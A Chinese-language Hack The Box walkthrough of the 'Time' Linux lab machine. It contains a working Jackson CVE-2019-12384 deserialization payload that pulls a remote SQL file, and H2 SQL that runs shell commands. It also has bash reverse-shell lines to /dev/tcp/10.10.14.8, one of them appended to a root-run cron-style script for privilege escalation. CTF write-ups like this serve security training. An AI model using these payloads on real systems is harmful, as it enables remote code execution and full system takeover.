【Hack The Box】linux练习-- time
创始人
2024-02-20 12:08:37
0

HTB 学习笔记

【Hack The Box】linux练习-- time


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • Jackson CVE-2019-12384
    • shell->root

在这里插入图片描述

信息收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在这里插入图片描述
是一个js美化的
只有一个框可以输入js代码
在这里插入图片描述
也就只是给你改成次行风格

另一种模式尝试一下
发现报错了

在这里插入图片描述

alidation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

所以后端使用 Java 来验证 JSON,特别是Jackson

Jackson CVE-2019-12384

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]

这是利用了 JSON 反序列化漏洞。 在这个概念验证中,他们使用的是 H2 数据库驱动程序(在大多数使用数据库的 Java 部署中应该存在,这是最多的)。 该驱动程序可以运行一个 SQL 脚本,该脚本通常用于支持数据库迁移。

在这里插入图片描述
确实有效
接下来就要只做一个恶意sql文件

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('ping -c 1 10.10.14.29')

在这里插入图片描述
接收到了ping

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"')

在这里插入图片描述

shell->root

下一步就是提权了,我将上传linpeas.sh并且还有pxpy,来分析进程以及一些二进制文件
在这里插入图片描述
/usr/bin/timer_backup.sh
/tmp/hsperfdata_pericles/5951

该计时器上次运行是在四秒前,将在五秒后再次运行。 在 HTB 机器上,任何少于五分钟的计时器都值得一看。
在这里插入图片描述看到存在一个计划任务
我将寻找一下这个文件在哪里

find /etc/systemd/ -name timer_backup.service
得到结果
/etc/systemd/system/timer_backup.service
查看一下
cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service

它只是重新启动另一个服务, web_backup.service

在这里插入图片描述
并且是root运行

寻找一下他重启的服务

find /etc/systemd/ -name web_backup.service
在这里插入图片描述也是root运行

查看一下

[Unit]
Description=Creates backups of the website[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

他调用了/usr/bin/timer_backup.sh

在这里插入图片描述这个脚本对我们是可写的
那就没啥说的了

echo -e '\nbash -i >& /dev/tcp/10.10.14.8/443 0>&1' >> /usr/bin/timer_backup.sh

两个>>添加到最后一行在这里插入图片描述

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
【Ctfer训练计划】——(三... 作者名:Demo不是emo  主页面链接:主页传送门 创作初心ÿ...